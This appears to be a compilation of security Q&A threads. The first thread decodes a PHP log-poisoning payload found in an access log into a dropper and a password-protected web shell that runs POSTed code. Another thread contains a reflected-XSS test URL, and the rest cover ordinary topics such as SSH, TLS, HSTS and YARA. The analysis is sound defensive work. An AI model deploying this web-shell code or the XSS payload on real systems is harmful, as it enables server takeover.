/proc/sys/kernel/random/uuid (since Linux 2.4)
    Each read from this read-only file returns a randomly generated
    128-bit UUID, as a string in the standard UUID format.


PHP attack string in access logs So one of the Invision Power Board installations on my server was recently compromised. I found what seemed to be the attack (using PHP in the query string and carefully crafted cookies), and I blocked URL strings with PHP tags in the query string.

However, the attack signature in my logs from the actual log looks slightly different than the attack signature of my tests. It looks like they are sending PHP in the user agent string. Can anyone help me figure out what this is doing?

Also, would blocking user agent strings with a PHP tag fix this?

93.115.84.154 - - [12/Feb/2013:04:03:23 -0400] "GET / HTTP/1.0" 200 4186 "" "<?php eval(base64_decode(\"QGluaV9zZXQoJ2FsbG93X3VybF9mb3BlbicsIDEpOw0KDQphZGRMb2FkZXIoKTsNCiRkYXRhID0gQG9wZW5kaXIoJy4nKTsNCg0Kd2hpbGUgKCRmaWxlID0gQHJlYWRkaXIoJGRhdGEpKQ0Kew0KCSRmaWxlID0gdHJpbSgkZmlsZSk7DQoJaWYgKCEkZmlsZSB8fCBwcmVnX21hdGNoKCcvXlwuKyQvJywgJGZpbGUpIHx8ICFpc19kaXIoJGZpbGUpKSBjb250aW51ZTsNCglhZGRMb2FkZXIoJGZpbGUpOw0KfQ0KDQpAY2xvc2VkaXIoJGRhdGEpOw0KDQpmdW5jdGlvbiBhZGRMb2FkZXIoJGRpciA9ICcnKQ0Kew0KICAgIGlmICgkZGlyKSAkZGlyIC49ICcvJzsNCiAgICBAY2htb2QoJGRpciwgNzc3KTsNCiAgICBAc3lzdGVtKCJjaG1vZCA3NzcgJGRpciIpOw0KICAgIA0KICAgICRmcCA9IGZvcGVuKCJ7JGRpcn0yZTAzMGJhMzQ4ZWI0Nzg3N2I5OTQ5MzRkNDIwYzQ3NS5waHAiLCAidyIpOyANCiAgICBmd3JpdGUoJGZwLCBiYXNlNjRfZGVjb2RlKCdQRDl3YUhBTkNnMEtRR2x1YVY5elpYUW9KMkZzYkc5M1gzVnliRjltYjNCbGJpY3NJREVwT3cwS1FHbHVhVjl6WlhRb0oyUmxabUYxYkhSZmMyOWphMlYwWDNScGJXVnZkWFFuTENBMk1DazdEUXBBYVc1cFgzTmxkQ2duYldGNFgyVjRaV04xZEdsdmJsOTBhVzFsSnl3Z05qQXBPdzBLUUhObGRGOTBhVzFsWDJ4cGJXbDBLRFl3S1RzTkNnMEtKR1JoZEdFZ1BTQkFkVzV6WlhKcFlXeHBlbVVvWW1GelpUWTBYMlJsWTI5a1pTaDBjbWx0S0VBa1gxQlBVMVJiSjJSaGRHRW5YU2twS1RzTkNnMEthV1lnS0VBaGFYTmZZWEp5WVhrb0pHUmhkR0VwSUh4OElHMWtOU2drWkdGMFlWc25jR0Z6YzNkdmNtUW5YU2tnSVQwZ0oyUXpaR1kwTXpsak0yVTBZakpqTkRFNU1qQmtPR1V5TnpNek1URXpNak0ySnlrZ1pYaHBkRHNOQ21sbUlDaEFKR1JoZEdGYkoyTnZaR1VuWFNrZ1pYWmhiQ2hpWVhObE5qUmZaR1ZqYjJSbEtDUmtZWFJoV3lkamIyUmxKMTBwS1RzTkNtbG1JQ2hBSkdSaGRHRmJKMk5vWldOclgyTnZaR1VuWFNrZ2NISnBiblFnSkdSaGRHRmJKMk5vWldOclgyTnZaR1VuWFRzTkNnMEtQejQ9JykpOw0KCWZjbG9zZSgkZnApOw0KDQoJaWYgKGZpbGVfZXhpc3RzKCJ7JGRpcn0yZTAzMGJhMzQ4ZWI0Nzg3N2I5OTQ5MzRkNDIwYzQ3NS5waHAiKSkNCgl7DQogICAgICAgICRjayA9ICIxODIzNjQ5MzY1ODIwMzU0IjsNCgkgICAgcHJpbnQgIiRjazp7Kn06JGRpcjp7Kn06IjsNCgkJZXhpdDsNCgl9DQp9\")); ?>"

As Thomas pointed out, this attack is designed to exploit poor content handling in log utilities. There are many "log to HTML" engines that simply extract the text of the logs and place them blindly into a HTML template. When the user requests the HTML page from the server, the <?php tags are parsed by the PHP engine and the code is executed. Since many servers allow .html files to be handled by PHP, this has a reasonable chance of working.

Let's take a look at the payload. The block of base64 that you see in that attack string decodes to the following PHP script:

@ini_set('allow_url_fopen', 1);

addLoader();
$data = @opendir('.');

while ($file = @readdir($data))
{
    $file = trim($file);
    if (!$file || preg_match('/^\.+$/', $file) || !is_dir($file)) continue;
    addLoader($file);
}

@closedir($data);

function addLoader($dir = '')
{
    if ($dir) $dir .= '/';
    @chmod($dir, 777);
    @system("chmod 777 $dir");

    $fp = fopen("{$dir}2e030ba348eb47877b994934d420c475.php", "w");
    fwrite($fp, base64_decode('PD9waHANCg0KQGluaV9zZXQoJ2FsbG93X3VybF9mb3BlbicsIDEpOw0KQGluaV9zZXQoJ2RlZmF1bHRfc29ja2V0X3RpbWVvdXQnLCA2MCk7DQpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywgNjApOw0KQHNldF90aW1lX2xpbWl0KDYwKTsNCg0KJGRhdGEgPSBAdW5zZXJpYWxpemUoYmFzZTY0X2RlY29kZSh0cmltKEAkX1BPU1RbJ2RhdGEnXSkpKTsNCg0KaWYgKEAhaXNfYXJyYXkoJGRhdGEpIHx8IG1kNSgkZGF0YVsncGFzc3dvcmQnXSkgIT0gJ2QzZGY0MzljM2U0YjJjNDE5MjBkOGUyNzMzMTEzMjM2JykgZXhpdDsNCmlmIChAJGRhdGFbJ2NvZGUnXSkgZXZhbChiYXNlNjRfZGVjb2RlKCRkYXRhWydjb2RlJ10pKTsNCmlmIChAJGRhdGFbJ2NoZWNrX2NvZGUnXSkgcHJpbnQgJGRhdGFbJ2NoZWNrX2NvZGUnXTsNCg0KPz4='));
    fclose($fp);

    if (file_exists("{$dir}2e030ba348eb47877b994934d420c475.php"))
    {
        $ck = "1823649365820354";
        print "$ck:{*}:$dir:{*}:";
        exit;
    }
}

Let's dissect this a bit...

The @ini_set line enables URL handlers in fopen calls, so external resources can be fetched. The @ prefix suppresses any errors that might occur if the call fails.
The call to addLoader() does the main bulk of the work. I'll go into this in a moment.
@opendir('.') obtains a handle to the current directory.
The while loop runs through every sub-directory in the directory, and calls addLoader($file) for each. It uses a regex to skip the . and .. entries. Don't be fooled by the variable name - this does not loop through files.
Finally it calls @closedir($data). Nice of it to clean up!

But what does addLoader do? Essentially it attempts to chmod 777 every directory it can find, then dumps a PHP file called 2e030ba348eb47877b994934d420c475.php into them, with some contents taken from a base64 string. The final block of code seems to be some kind of mechanism to let the attacker identify which paths were successfully written to, perhaps using a magic number for automation. Side note: I can't find any reference to the file name hash online or in any hash database I know of.

Let's dissect that base64:

<?php

@ini_set('allow_url_fopen', 1);
@ini_set('default_socket_timeout', 60);
@ini_set('max_execution_time', 60);
@set_time_limit(60);

$data = @unserialize(base64_decode(trim(@$_POST['data'])));

if (@!is_array($data) || md5($data['password']) != 'd3df439c3e4b2c41920d8e2733113236') exit;
if (@$data['code']) eval(base64_decode($data['code']));
if (@$data['check_code']) print $data['check_code'];

?>

This is simple enough. The first few calls try to set up a permissive environment, where external resources can be loaded and scripts can run for up to 60 seconds. It takes a POST parameter called data and deserialises it into an array, and checks that the password matches a hard-coded MD5 hash. I tried looking up this hash in a few databases, but couldn't find a corresponding plaintext. If the password is correct, it then goes on to check for a code parameter, which it then executes. It also has a check_code option, which is presumably for verifying that the code arrived properly after transport encoding and decoding was performed.

So, all in all, this is a pretty bog-standard PHP shell with a delivery payload that tries to ensure maximum coverage in case of any writeable sub-directory.


Do search engines give searcher's IP address to sites that come up in search? Ok so for example, I search "stackexchange" and a bunch of pages come up in the search result - of course most of them from this very site, and many other ones talking about stackexchange.
Would this site, and the others that came up in the search, know my IP address even if I don't go to their sites?
In other words, would Google notify them something like "IP address 1.234.56.6789 has typed "stackexchange" and your site came up in the search!"

As far as Google is concerned, they only share non-personally identifiable information with their partners (publishers, advertisers or connected sites).

From Google's Privacy Policy:

  We may share aggregated, non-personally identifiable information
  publicly and with our partners – like publishers, advertisers or
  connected sites. For example, we may share information publicly to
  show trends about the general use of our services.


Applications with no front end server We are bringing up a server that will be exposed to the Internet from a vendor who's application has no official vendor front end server.

Although this web application server will pull data from internal sql resources, I'm concerned there is a chance this server could be compromised.

When I asked them about the security of this, they said if I wanted I could simply put a reverse proxy like NGINX in front of it.

We already have load balancers that I'm planning on using.  Is it acceptable to simply put this server behind load balancers which basically are reverse proxies to begin with, or should one do load balancers and nginx (ie a double reverse proxy?)

The application server is a web product that will serve up on ports 80 and 443.  Technically, the ssl will live on the balancer.

This got me thinking too, our modern day exchange mail servers webmail does not have an official Microsoft front end either for webmail.  Microsoft doesn't make such a product.

Is the days of DMZ over in favor of other multi layer security offerings?

Use of the DMZ is a strategy to 'fence off' the application from the wider network, but doesn't address vulnerabilities within the application or its execution environment.

You could certainly quarantine the application server in a DMZ as part of your security controls. As @Julian Knight says a reverse proxy can mitigate certain attacks.

Regarding introducing 'another' reverse proxy (NGINX) into the architecture, ask 'what additional security or functional capabilities does that provide?'. Just duplicating the capabilities already provided by your existing reverse proxies will just impact performance and maintainability, and potentially introduce additional security issues if you've misconfigured anything. Not to mention the cost of running the additional service / servers. A cheeky question to ask your application vendor would be 'Do you guarantee that my application will be secure if I introduce NGINX into the architecture? :)'.

I think it is important to look at the security of the application itself. Has it been independently security tested? Are there any known vulnerabilities? There are many vulnerabilities that a reverse proxy won't protect you against... injection attacks for example.

In addition to implementing appropriate security controls within the application and its execution environment, a Web Application Firewall (WAF) is a type of reverse proxy that can prevent some common attacks on web applications (e.g SQL / Command injection). It would be worth checking if your existing proxies have this capability.

But of course, first look at the business context of the application and the impact of various successful attacks. This should guide how much effort should be placed on protecting the application.


Are setuid executables not allowed to use swap? Are setuid executables in Linux not allowed to use swap area? I read a security-related book which states that Setuid programs can not have memory they use written to disk. which came as a surprise to me.

When programs want to mark a specific area of memory as must not be swappable for performance or security reason, they can use mlock() system call or mmap() with MAP_LOCKED. Note that mlock()ed memory can still be written to disk if you suspend to disk (a.k.a. hibernate); to be able to securely suspend to disk, you would need to set up encrypted swap and/or full disk encryption. Also, while core dump is often disabled by default on many distros, if you enable core dump, mlock()ed memory can also be core dumped, program can use MADV_DONTDUMP or coredump_filter to tell the kernel not to include certain memory from the core dump.

I can't find any reference anywhere in POSIX setuid() manpage or Linux setuid() manpage that specified that setuid program is automatically not allowed to swap.

The closest sentence that might resemble the book's claim, from Linux setuid() manpage, is "If uid is different from the old effective UID, the process will be forbidden from leaving core dumps."


Given the following yaSSL ciphers, how do I know what's being used? Scope:

I am considerable new on cryptography and only know some basic fundamentals of it.

Looking at yaSSL ciphers I am trying to, as an exercise, to figure out which ones are still safe to use by today's standards and which are not.

The problem is that, by looking at the cypher names, I am not 100% sure of what is happening / being used on each.

Examples:

AES128-RMD:  I Suppose this one is using AES with 128 bits of key length. But what is RMD ? How does it influences encryption strength on this case?
DHE-RSA-AES128-RMD: I can only assume that this means that Diffie-Hellman is being used as the Asymmetric Key exchange method, followed by RSA to encrypt symmetric keys, to be used by AES-128-RMD ?

Tried to find documentation online and more about those ciphers but apparently yaSSL is the only framework that names those like this, and trying different combinations of terms isn't yielding me much.

Question:

Is there any crypto-rule-of-thumb kind of thing for refactoring these names into smaller pieces that allows us to understand the "process" behind each?

Generally, the output of yaSSL, sslscan etc. are going to be in the following format:

<key_exchange_mechanism>-<authentication_mechanism>-<symmetric_algorithm-key_size>-<hashing_algorithm>

So in your example, DHE-RSA-AES128-RMD is Diffie-Hellman key exchange using RSA for authentication, with AES128 for symmetric encryption, and RMD for hashing. This wiki page on OpenSSL explains this process a bit.

In terms of strength - generally, you want to avoid algorithms that are broken or can be easily broken (RC4, for instance), anonymous key exchange algorithms (Anonymous Diffie-Hellman, for instance), weak symmetric algorithms (DES), and broken hashing algorithms (MD5/SHA1). You may also care about the key size, and whether the algorithm maintains Forward Secrecy or not.


XSS protection header for firefox I have enabled XSS protection in server using nginx with below header. But After long research google chrome, IE 10 & above and safari supports that but Firefox doesnt support

  add_header X-XSS-Protection: "1; mode=block";

For eg: when i try below url in IE, chrome and safari it blocks

  https://xyz.com/test"><img src%3Dx onerror%3Dalert("xss")></

But Firefox executes alert. Please help me to fix for Mozilla FF.

Firefox doesn't support the X-XSS-Protection header as you can see in this compatibility table.

If you want similar protection against reflected XSS as a Firefox user, you can use the NoScript addon. It has an anti-XSS feature that can similarly warn you if it identifies script code in the URL.

You should only see the header as a last line of defense that doesn't replace proper output escaping and the usual anti-XSS measures. Many websites like Facebook don't enable the header at all because it can occasionally cause security problems itself.

On the server side you can also deploy a web application firewall that may attempt to block XSS attempts. But your first security measure should be a secure application that properly filters output itself.


Use HSPD-12 (PIV) Keys for SSH Can I use the on-board key generated keys on the HSPD-12 card as openssh keys? If so, how?

Smartcards and Openssh

The point of the smartcard is that you cannot extract the private key for the keypair generated but that the public key is generally accessible.

For *nix you should install opensc (github.com/OpenSC) toools.  On ubuntu:

$ sudo apt-get install opensc
$ sudo apt-get install opensc-pkcs11

Additional packages that you may find useful include OpenSSL (for engine-pkcs11.so installed above -- but not required for this process).

Back to the main question involving ssh and smartcards:

Taking ssh as the example, a 2048 byte RSA key generated on the card, you must put the public key on the remote hosts.  Then when you ssh to the remote hosts from you desktop (on the desktop: smart card reader with smart card inserted) you will be prompted to enter your pin to unlock the card.

Extract the Public Key

On my test HSPD-12/PIV the first key slot is the authentication key and the second is the signature key. I will use the opensc-tools to extract the public key.

# note:  use 'lsusb' to see if you can see your card reader, if not fix it.

$ pkcs15-tool --read-certificate 2 --out my_key.pub

On your remote hosts put the contents of my_key.pub into your ~/.ssh/authorized_keys2 file in the same way you add other public keys.

Openssh example:

    $ ssh -I /usr/lib/opensc-pkcs11.so martin@remotehost
    Enter PIN for 'MARTIN PALJAK (PIN1)':
    martin@remotehost:~$

The above was taken from the OpenSC project wiki:  https://github.com/OpenSC/OpenSC/wiki/OpenSSH-and-smart-cards-PKCS%2311

uDude


What is the process to use previously-deployed POI devices in a PCI P2PE solution? One question for the FAQ "What is the process to use previously-deployed POI devices in a PCI P2PE solution?" .

In the following case, does "reload cryptographic keys" mean that should load POI's new Initial Terminal Master Key to the POI devices using asymmetric key-loading techniques or manual techniques?

Is it acceptable to only just replace existing TMK with the new TMK using standard symmetric-key-exchange mechanism to "reload cryptographic keys" in the following case?

If the solution provider lacks sufficient evidence to verify the applicable P2PE requirements have been satisfied (as determined by a P2PE Assessor during the course of a P2PE assessment), then all firmware, cryptographic keys, configurations, and software must be reloaded into the POI devices in accordance with applicable P2PE requirements.

This can be complex and so for certainty you need to ask the P2PE QSA. The objective is to ensure the integrity of the POI and its associated keys. If the key update is compliant with the key management requirements of P2PE and the initial key injection was completed in a P2PE validated environment following validated processes then it will generally be OK, BUT because each POI vendor and solution provider has their own way of doing things, only a P2PE QSA familiar with the solution can give you a definitive answer.


Can't remove suspicious bridge connection I'm currently fixing the computer of a family member who just fell for the "I'm from Microsoft and let me take control of your computer please" phone scam. The computer is an old Core 2 Duo running on Windows XP.

I already removed pretty much all of the nasty stuff (AdWares, remote control applications etc.) but there's one thing I can't get rid of.

When booting, the computer looks clean for some time, a few minutes to an hour, then out of nowhere, a bridge connection appears in the bottom right taskbar. It just says "Internet Connection". Whenever I click on it to see the status window, I see it for a split second and it disappears. Also, I just can't do anything about it in the Control Panel, everything I try just does nothing. Also, I tried booting in safe mode to see if I could do more, but it doesn't appear, and never pops up (I only see the usual LAN connection).

I ran all kinds of tools on it to scan for threats but so far nothing worked. Is this a case of nuke it from orbit? If not, what could I do to fix it?

Yes, it is a case of nuke it from orbit.

The fact that you can not remove this particular piece of visible malware does not matter. Even if you could, there might be loads of malware that you can not see left. No matter how many scans you run or how many hours your spend deleting registry keys you will never know for sure.

It was game over the second your parents fell for the scam. There is nothing to do other than a complete reinstall.

And while you are at it, you might want to consider installing a modern OS. While I understand that your family might not like the change, as Philipp points out in comments, using old software is fundamentally insecure.


Is there a way to know if a server is using ssh public key or password? I am wondering is there a way for an attacker through finger printing to find out whether a server is using public-key versus password authentication method for establishing an SSH connection?

Running ssh -vvv host, at some point, you will see something like:

debug1: Authentications that can continue: publickey,password
debug3: start over, passed a different list publickey,password
debug3: preferred gssapi-keyex,gssapi-with-mic,publickey,keyboard-interactive,password

The first two lines describe what methods are offered by the server and the last one is what is offered by your client (PreferredAuthentications option from ssh_config). From this log (to my Raspberry Pi), you can see that server is able to accept publickey,password authentication methods. This list might also differ for different users or for different source addresses (AuthenticationMethods options in Match block in server sshd_config), but it does not say that the authentication can succeed (eg. the user have a password or public key, nor whether the root login is allowed is you try root login).

Most of the servers will give you this "fingerprint". Some of them will give you just publickey, which says they do not accept passwords. Having server accepting passwords and not accepting pubkey is very rare.

In short, you are able to gain some information as described above, but it is not much useful in most of the cases.


dig returns different MX record, can anyone explain why? I have a domain lets call it example.com when I do: dig example.com MX +short, it returns:
10 mx1.[Internet_Service_Provider_Domain]

so, I decided to trace the DNS to check if there any possible DNS Hijacking attack, using the following command: dig example.com MX +trace +short, the result:
NS d.root-servers.net. from server 127.0.0.53 in 0 ms.
NS c.root-servers.net. from server 127.0.0.53 in 0 ms.
NS b.root-servers.net. from server 127.0.0.53 in 0 ms.
NS m.root-servers.net. from server 127.0.0.53 in 0 ms.
NS l.root-servers.net. from server 127.0.0.53 in 0 ms.
NS k.root-servers.net. from server 127.0.0.53 in 0 ms.
NS j.root-servers.net. from server 127.0.0.53 in 0 ms.
NS i.root-servers.net. from server 127.0.0.53 in 0 ms.
NS a.root-servers.net. from server 127.0.0.53 in 0 ms.
NS h.root-servers.net. from server 127.0.0.53 in 0 ms.
NS g.root-servers.net. from server 127.0.0.53 in 0 ms.
NS f.root-servers.net. from server 127.0.0.53 in 0 ms.
NS e.root-servers.net. from server 127.0.0.53 in 0 ms.
MX 10 [REAL_MAIL_MX_DOMAIN] from server [REAL_MAIL_MX_IP] in [TIME] ms.

but! in the second case dig returns the real information, while in the first returns ISP information.
can anyone explain why? plus, does something like this we can call it DNS Hijacking?
[UPDATE-1]:
when I use another DNS server, 8.8.8.8 for example, it returns the following:
$ dig @8.8.8.8 example.com MX +short
10 [REAL_MAIL_MX_DOMAIN]

$ dig @8.8.8.8 example.com MX +trace +short
NS a.root-servers.net. from server 8.8.8.8 in [TIME] ms.
NS b.root-servers.net. from server 8.8.8.8 in [TIME] ms.
NS c.root-servers.net. from server 8.8.8.8 in [TIME] ms.
NS d.root-servers.net. from server 8.8.8.8 in [TIME] ms.
NS e.root-servers.net. from server 8.8.8.8 in [TIME] ms.
NS f.root-servers.net. from server 8.8.8.8 in [TIME] ms.
NS g.root-servers.net. from server 8.8.8.8 in [TIME] ms.
NS h.root-servers.net. from server 8.8.8.8 in [TIME] ms.
NS i.root-servers.net. from server 8.8.8.8 in [TIME] ms.
NS j.root-servers.net. from server 8.8.8.8 in [TIME] ms.
NS k.root-servers.net. from server 8.8.8.8 in [TIME] ms.
NS l.root-servers.net. from server 8.8.8.8 in [TIME] ms.
NS m.root-servers.net. from server 8.8.8.8 in [TIME] ms.
RRSIG NS [DNSSEC_INFO] from server 8.8.8.8 in [TIME] ms.
MX 10 [REAL_MAIL_MX_DOMAIN] from server [REAL_MAIL_MX_IP] in [TIME] ms.

both with/without +trace returns the real information. I think there is somehow DNS Hijacking, am I right?
[UPDATE-2]: see this comment.

I've run into this problem before.  In my case the domain in question belonged to a client (let's call him 'Joe'), and the client had his own domain name (let's call it 'joescompany.com'), and the client had an email address at the domain (let's call it 'joe@joescompany.com').  Joe also had ISP service with a local ISP (let's call them joesisp.com).
Joe conveniently used joesisp.com's DNS server to host the DNS for joescompany.com.  He also used joesisp.com's mail server to host email for joescompany.com.  It just so happened that I also used joesisp.com for my ISP service as well.
Then, one day, Joe decided to move his joescompany.com domain away from joesisp.com.  He contracted with another provider to host the DNS for joescompany.com, and he used that company to host his email as well.  But, Joe didn't tell joesisp.com that he did this.  So, as far as joesisp.com was concerned, they thought they were still hosting the DNS for joescompany.com, and hosting mail for joescompany.com as well.
This didn't impact most people that sent Joe mail.  Mail sent to Joe by most senders arrived at Joe's new provider's mail server just fine.  But, when I would send mail to Joe it would get delivered to Joe's old mail server at joesisp.com.  That's because I was using joesisp.com as my ISP, and therefore I was using joesisp.com DNS servers, which (incorrectly) pointed the MX record for joescompany.com to their own MX servers.  All other DNS servers correctly pointed the MX records for joescompany.com to Joe's new MX servers, but joesisp.com's DNS servers still pointed to Joe's old MX servers.


Getting VPN users to trust a non-global Root Certificate Authority on Windows in order to use TLS on intranet websites Consider the following scenario, keeping in mind the restrictions:

  Your goal is to secure intranet-only web applications to start using https - so you need a certificate issued, so you can bind it to your web server
  You have to use a certificate issued from a non-global Certificate Authority (CA) that is provided to you
  You have users who need to connect to your intranet via VPN - so they are connecting from computers that don't recognize this CA as trusted
  You can't force all your VPN users to manually install the CA you're using as a "Trusted Root Certification Authority"
  Active Directory is set up on the network, and it's currently known to be possible to propagate certificates to users within the intranet, using Group Policy Objects (GPO) - which can be edited via mmc.exe on Windows Server

Do VPN users automatically download certificates from group policy objects? If not, is it possible to use GPOs to get VPN users to trust this CA automatically by propagating certificates, and how? If not, are there any alternative solutions?

Ultimately, how can one make sure that VPN users won't get browser warnings (ERR_CERT_AUTHORITY_INVALID on Chrome) when they attempt to access intranet applications in this scenario?

In principle your comments about the VPN are not central to answering the question, as VPN functionality is to create a network tunnel and not usually to automate configuration of the client PC.  Using AD GPOs is a method of distributing keys to users and as long as they are members of AD, an appropriate GPO will have the effect of loading the right certificates on client systems (AD domain members).  This happens regardless of whether they use a VPN or not, though if the VPN is the only means of connecting a client to AD servers then it is needed for the GPO to work.  Note that GPOs do not work instantaneously, meaning they require certain events to happen to have effect.

The right order of steps is:

Create your local CA infrastructure and certificate keys
Setup intranet sites with https and server authentication certificates
Create an AD GPO to distribute appropriate client side certificates to user systems
Allow client PCs to connect to AD to consume the GPO and get the keys (whether through VPN or normal LAN access)
Users will now be able to trust website certs used on your intranet


Is HSTS (Strict-Transport-Security header) for HTTP or HTTPS? Is the Strict-Transport-Security header intended for HTTP or HTTPS? What I mean is, do I respond with this header on a HTTP connection which in turn tells the browser to use HTTPS only from that point on? Or, is this header only used on a HTTPS response, and will tell the browser to use HTTPS only from then on?

I'm trying to make my site redirect from HTTP to HTTPS if a client tries to access my site under HTTP. So, I'm interested in whether the strict-transport-security header is used for this purpose, or can be used for this purpose.

The HSTS specification draft contains a chapter on the server processing model. It describes the expected behavior for secure requests:

  When replying to an HTTP request that was conveyed over a secure
     transport, an HSTS Host SHOULD include in its response message an STS
     header field […]

And for non-secure requests:

  If an HSTS Host receives a HTTP request message over a non-secure
     transport, it SHOULD send a HTTP response message containing a status
     code indicating a permanent redirect […]

This is also reflected in the various implementation examples of Wikipedia’s HTTP Strict Transport Security article.


How to tell if a site is securely storing passwords? A site I frequent has a policy to make you change your password every 90 days. That's a cool policy, but I stumbled upon an old xkcd and facepalmed myself, because lots of doxing happens on this site. It just never crossed my mind that something like this could happen to a more reputable site (silly I know). The site runs on vBulletin.

How can I find if the site I'm using is storing my password securely?

There's no legitimate way for you to directly know if a website stores passwords in plaintext, stores them in a reversable (possibly encrypted) format, stores as mediocre hashes, or securely hashes them. One possibility is to try to recover your password using their "forgot my password" functionality. If they send you your password, then they're definitely storing it as plaintext or as a reversible (possibly encrypted) format. The problem with this method is that it doesn't work the other way around; if they do not send you your password, it does not mean they're not storing it as plaintext or in a reversible format.

Bottom line is: Unless you gain legitimate or illegitimate (hacking) access to their servers to see for yourself, there's really no way to tell.


Security evaluation of Vasco's Digipass Mobile SDK for OTP? Has anybody worked with or integrated the Vasco Digipass Mobile SDK OTP generator into a custom mobile app for iOS devices?

I am currently performing a full security evaluation of the solution (end-to-end) and was wondering if there was already work performed by others on this.

I am interested in the activation process of a new device, the crypto implementations, storage of local data on the mobile device, authentication mechanisms, generation of the OTP, and other attack surfaces.

I don't know about 'Vasco Digipass Mobile SDK OTP generator' particularly, but I have evaluated Software OTP generators in the past and these are things I would look at.

Is the app protected by a PIN?
If it is protected with a PIN, then what happens when you key in a wrong PIN? Does it still generate an OTP or does it report an error message.
The relevance of this question: An OTP generator uses a secret key which is shared with the Authentication server. Now the secret key has to be stored somewhere on the device & hence it's vulnerable if the device is lost. Hence it's better if the app is protected with a PIN.
Now next question is where is the PIN stored? If the PIN is stored on the device then the protection again becomes meaningless. Because just like the secret key, the PIN also would be vulnerable to attack if the device is lost. So what's the alternative? First alternative is to use the PIN to encrypt the secret key & not store the PIN on the device. However, this is still not a good method because, once the device is lost, it can be brute forced. So what's the better alternative. The OTP generation uses both the PIN & secret key as inputs to the OTP generation algorithm. In this case, if you type the wrong PIN, then the OTP is still generator because the app does not know if the PIN is correct or wrong. However, if you type in the wrong PIN, then the OTP generated would be wrong. Because the Server would be generating the OTP with the right PIN and hence it wouldn't match the one generated by the app. i.e. the PIN is implicitly verified and not explicitly verified.
So how would you know if your app stores the PIN locally or uses the PIN to encrypt the secret key, then app typically gives an error message when you type in the wrong PIN. Whereas, if the PIN is not stored locally, then the app doesn't give an error message with the wrong PIN.
What algorithm does the OTP generator use?
Does it use a Time based algorithm or an Event (Counter) based algorithm. Hardware OTP generators always usually use a Time based algorithm, but a lot of Software based OTP generation apps use Event based because the assumption is that the time on the mobile device may be off - may not be in sync with the server time.
How is this relevant? Event based OTPs never expire. Or actually they expire only when they are used or when a more recent OTP is used. If you use your OTP generator app to generate an OTP now, you can note down the OTP & use it after any number of days as long as you haven't done any other authentication in between. i.e if you generate 2 otps & note them down, then if you use the 2nd OTP for an authentication, it will work, but the 1st one automatically expires.
Since Event (Counter) based OTPs do not expire they are a little more easily offline attacked then the time based OTP. Is there a mitigation for this. There is another Event based OTP algorithm called OCRA (Challenge Response based). Here the server throws a challenge which has to be input into the app before it generates the OTP.
IMHO, for a mobile device (where you may not be able to use Time based OTPS), an event based one which uses the Challenge Response mechanism may be better than a plain Event based one. However for lay users, it may be a little confusing.
How is activation done?
Is the shared key sent over SMS or something like that? That may make it a little insecure. Some OTP generators are activated by negotiation - i.e. the client and server negotiate the shared key using some standard like DSKPP. These may be more secure than the ones where the key is sent over SMS.


Is it possible to combine RSA and AES? I'm working on a new project that encrypts folders on my personal computer.No sending of  files are involved(networking). It is only for protection and security. Is it possible to combine RSA and AES for encrypting/decrypting folders with the use of password? (This is only for research purposes)

Yes, for sure. This is called a hybrid cryptosystem.
The general scheme is: create an RSA public / private key pair and encrypt the private key with the password. For this you can use password based encryption (PBE). Make sure you use a good KBKDF (more commonly known as password hashing) with a high work factor / iteration count.
You can now generate random AES data keys to encrypt the data. Encrypt these AES keys using the public key of the key pair and store them with the data. If you need to decrypt, decrypt the private key with the password, decrypt the data key and finally decrypt the data.
This is a very common scheme though, which has been used by e.g. OpenPGP for decades. It is still considered secure for in-place encryption. If you need something more secure, you should explain which part of above protocol you consider insecure. There is really no known way of enhancing a protocol already considered secure.
If you want to create something special, use post-quantum cryptography instead of RSA. You could also use only modern constructs such as RSA-OAEP or RSA-KEM and AES-GCM (use GCM with care though, for large files / large number of files).


What is the correct terminology for enforcing access control by means of cryptography, or on a privileged list? I have a server that enforces access control by means of cryptography, by not giving up data, or by a combination thereof.

By the former (cryptography), I mean: If a user requests some data, the server gives it in an encrypted form. The server doesn't check who you are or anything, it just gives it to you. And if you are able to decrypt it, by implication, you have access.

With the second strategy, I mean: If a user requests some data, the server first checks if you are on a privileged list. If you are, the server gives up the data.

Two different strategies.

I wonder if there is some simple terminology that exists for these common strategies that I can use?

In your first example, you're talking about a kind of rule-based access control, though it's generally considered poor practice to offer sensitive data just for the asking, even if it is encrypted.

Your second example is discretionary access control. Windows AD permissions are another example of this.


How does an OS execute code from a PNG file? A recent bug in Android allows a hacker to execute code that is contained within an image file. Here is the quote from the Android Security Bulletin,

  The most severe vulnerability in this section could enable a remote
  attacker using a specially crafted PNG file to execute arbitrary code
  within the context of a privileged process

From a somewhat related question which asks about a code within pdf,

  If a file name has the word "exe" somewhere within, has not bearing on
  what file type it is, and it does not change how the operating system
  would handle that file. If file identification tools says this is a
  pdf, it probably is a pdf.

  That said, pdf files can theoretically be crafted to exploiting bugs in pdf > readers.

What I understand is that an OS will not execute a code within a file if it is not a executable type. Any application handling file may execute the code. In this bug the OS itself executes code from a non-executable file type.

So how is the code in the PNG file getting executed by the OS?

Looks that the bug is on the application that reads the PNG file. This works in the same way with vulnerabilities on pdf files, the vulnerability is on the application that process that file not on the operating system. So if the vulnerable application process the png file and have an issue with some crazy buffer that allows to execute binary code or other type of code, that code will be executed because is on the same execute environment of the application that is vulnerable. Hope this clarify your question.


How do I use a directory of YARA files? I'm going through the Malware Cookbook PEScanner and they want a path to my YARA files to search on.  I currently have a directory full of YARA rules for known pieces of malware.

What would be the best way to run the scanner using all my YARA files at once?  Is it merging?  Is it looping through in the code?

Does PEScanner do either or both of these?

There are two primary ways to scan for the IoCs in Yara files:

Against files on disk using a tool such as Loki.exe. Loki requires yara and will scan Windows machines looking for IoCs.
Versus memory dumps available through a variety of memory-dumping tools. The Volatility Framework includes a plugin called yarascan with can specify Yara-rules file by using the -y flag. Many newcomers are now using the Rekall Forensics framework (a fork of Volatility) for its simplicity and extensibility.

Below I combine Loki's signature-base yara folder (full of Yara-rules files) with Volatility against a memory dump I gathered using MoonSols DumpIt.

  for i in `echo /opt/signature-base/yara/*` ; do vol.py --profile Win7SP1x64 -f 110138-E7440-20160328-191617.raw yarascan -y $i ; done

You will likely want to prep your DFIR workstation with a ramdisk in order to gain some performance increases when running analyses such as these.


Is it safe to browse the internet with unpatched iPhone with iOS 13.1.3? I am using unpatched iPhone that has IOS 13.1.3 installed. Apple released IOS 13.1.3 15 Oct 2019.

Are there any vulnerabilities for IOS 13.1.3's safari that are currently being exploited in the wild?
